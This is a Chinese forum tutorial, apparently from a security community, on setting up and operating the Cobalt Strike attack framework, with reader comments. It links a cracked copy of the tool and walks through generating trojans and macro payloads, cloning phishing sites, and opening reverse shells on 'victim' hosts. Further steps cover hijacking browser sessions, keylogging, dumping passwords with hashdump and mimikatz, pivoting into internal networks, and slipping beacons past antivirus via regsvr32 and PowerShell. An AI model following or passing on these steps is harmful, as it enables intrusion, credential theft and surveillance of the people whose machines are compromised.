Cobalt Strike搭建和使用以及bybass杀软

backlion / 2017-04-14 07:35:03 / 浏览数 12703 安全技术 漏洞分析 顶(0) 踩(0)

0x00 Cobalt Strike简介

Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用，当然可以结合Armitage进行使用。

0x01 Cobalt Strike搭建和使用

1.下载Cobalt Strike3.6破解版本

https://pan.baidu.com/s/1pL8kMqn （解压密码：cjfx）

2.在团体服务器上执行命令，以运行服务器端：

./teamserver 10.0.0.88 backlion //服务器IP地址为10.0.0.88，密码为backlion

图一

3.在客服端上执行（可多人连接）：

windows上：

java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $

linux上：

./cobaltstrike

图二

主机名：10.0.0.88 端口：50050 用户名：任意 密码：backlion

4.创建本地监听listen:

Cobalt Strike->Listeners ，然后点击Add便可以创建自己想要的Listeners了，Cobalt Strike3.6包括

图三

· windows/beacon_dns/reverse_dns_txt

· windows/beacon_dns/reverse_http

· windows/beacon_http/reverse_http

· windows/beacon_https/reverse_https

· windows/beacon_smb/bind_pipe

· windows/foreign/reverse_dns_txt

· windows/foreign/reverse_http

· windows/foreign/reverse_https

· windows/foreign/reverse_tcp

其中 windows/beacon* 是Cobalt Strike自带的模块，包括dns,http,https,smb四种方式的监听器， windows/foreign* 为外部监听器，即msf或者Armitage的监听器。 选择监听器以后，host会自动填写我们开启服务时的ip，配置监听端口，然后保存，监听器就创建好

5.攻击模块介绍

创建好监听器，下面就需要配置客户端了，Cobalt Strike包括多种攻击方式，其中Packages包括如下几种：

图四

HTML Application 生成恶意的HTA木马文件；

MS Office Macro 生成office宏病毒文件；

Payload Generator 生成各种语言版本的payload;

USB/CD AutoPlay 生成利用自动播放运行的木马文件；

Windows Dropper 捆绑器，能够对文档类进行捆绑；

Windows Executable 生成可执行exe木马；

Windows Executable(S) 生成无状态的可执行exe木马。

Web Drive-by（钓鱼攻击）包括如下几个模块：

图五

Manage 对开启的web服务进行管理；

Clone Site 克隆网站，可以记录受害者提交的数据；

Host File 提供一个文件下载，可以修改Mime信息；

PowerShell Web Delivery 类似于msf 的web_delivery；

Signed Applet Attack 使用java自签名的程序进行钓鱼攻击;

Smart Applet Attack 自动检测java版本并进行攻击，针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本；

System Profiler 用来获取一些系统信息，比如系统版本，Flash版本，浏览器版本等。

Spear Phish 是用来邮件钓鱼的模块。

6.view显示模块介绍

View模块可以方便测试者查看各个模块，图形化的界面可以方便的看到受害者机器的各个信息。

图六

Applications 显示受害者机器的应用信息；

Credentials 显示受害者机器的凭证信息，能更方便的进行后续渗透；

Downloads 文件下载；

Event Log 可以看到事件日志，清楚的看到系统的事件,并且团队可以在这里聊天;

Keystrokes 查看键盘记录；

Proxy Pivots 查看代理信息；

Screenshots 查看屏幕截图；

Script Console 在这里可以加载各种脚本以增强功能，脚本地址 戳我；

Targets 查看目标；

Web Log 查看web日志。

7.reporting生成报告模块介绍

图七

activity report 活动报告生成

Hosts report 主机报告

Indicators opromisef com 目标报告

Sessions report 会话报告

Social engineering report 社会工程学报告

Export data 数据出口

8.Beacon模块使用

8.1 生成一个exe的后门程序

attacks——packages--windows executable，可生成一个windows的exe后门，如下图所示：

图八

8.2将生成的后门artifact.exe上传到受害者主机上执行

在Cobalt Strike中就会反弹出目标受害者主机的shell,然后点击受害者的机中的interact

8.3点击受害者反弹的主机中的interact，然后就可以进入到beacon中

图九

8.4 beacon模块之shell命令**

图十

beacon> help shell

beacon>shell ifconfig

beacon>shell whoami

beacon>shell net user

8.5 beacon模块之browserpivot命令

用户注入受害者浏览器进程，然后开启HTTP代理，之后就可以登录受害者登录的网站了

beacon>ps //查看浏览器进程，这里进程为2396

图十一

beacon>browserpivot 2396 //注入进程，并开启http代理，代理服务器为： 10.0.0.88:62243

图十二

本地浏览器设置http代理，host: 10.0.0.88 代理类型为：http 端口为：62243

beacon>browserpivot stop //停止代理

图十三

8.6 beacon模块之 Socks命令

选择受害者主机，然后右键Pivoting->SOCKS Server，则使用此台计算机开启socks代理

图十四

图十五

图十六

在kali下 配置proxychains的配置文件：

vim /etc/proxychains.conf'

将socks4 127.0.0.1 9050 改为： socks4 127.0.0.1 26370

proxychains firefox ESR //可通过sokcsk5代理访问肉鸡内网

beacon>socks stop //关闭scoks代理

8.7 beacon模块之Screenshot&Keylogger

beacon>screenshot //运行屏幕截屏命令

然后打开View->Screenshots，则可以看到屏幕截图

图十七

beacon>ps //查看系统进程，随便选择一个程序的进程PID

beacon> keylogger 2640 //键盘记录注入进程

打开View->Keystrokes，则可以看到键盘记录结果

图十八

8.8 beacon模块之powershell-import命令（渗透win2008以及以上）

beacon> powershell-import //导入各种powershell脚本，这里可以导入nishang模块

beacon>powershell posershell脚本名

或者

beacon> powershell Check-VM

8.9 Cobalt Strike与msf的联动

1.在MSF下执行以下命令：

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.100

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit

2.在Cobalt Strik中执行，先添加一个监听命令，名称为:msf payload选择：windows/foreign/reverse_tcp 监听端口：4444

图十九

3.选择受害者主机，然后右击Spawn

图二十

4.在msf下即可反弹出meterpreter会话：

图二十一

8.10 beacon模块之密码读取*

beacon> sleep 0 //快速显示结果

beacon> wdigest //读取信息

beacon>hashdump //读取账号hash密码值，需要administer权限，右击受害者主机--access-hashdump

beacon> logonpasswords //运行mimikatz, 右击受害者主机--access- RUN mimikatz

9.过杀软bybass测试

1.生成一个dll劫持的后门，可反弹shell过杀软。

图二十二

图二十三

attackes---windows executable(s)--http Beacon--windows dll(64)，生成一个dll文件

2.在受害者主机上执行：regsvr32 beacon.dll

3.也可以生成一个powershell的ps文件，也可以bybass 杀软

图二十四

图二十五

这里也可以生成一个powershell的ps文件，也可以bybass 360杀软

attackes---windows executable(s)--http Beacon--posershell

4.在受害者主机上执行：posershell beacon.ps1

0x03 Cobalt Strike小结

Cobalt Strike功能异常强大，并且是MSF的图形化界面，操作更直观，能更加方便的进行自动化攻击，对渗透测试中的你有所帮助

上一篇：Word0Day漏洞CVE2017... 下一篇：phpcmsV9.5.8 后台两个...

1. 3 条回复

xaax 2017-04-17 03:47:35

楼主介绍的很全面，之前不知道某些是干嘛用的，看你的文章很有帮助，期待你更多的关于CS的文章，还有更深入免杀的方式，这种方式我用的nod32毫不客气的给杀了

0 回复Ta


backlion 2017-04-17 05:30:30

可以，我还有一个免杀的，可以生成PPT,DOC直接过杀软，如果放出来估计又要被和谐了！

0 回复Ta


r0****@163.com 2018-11-03 21:51:47

@backlion 能过360主防？

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板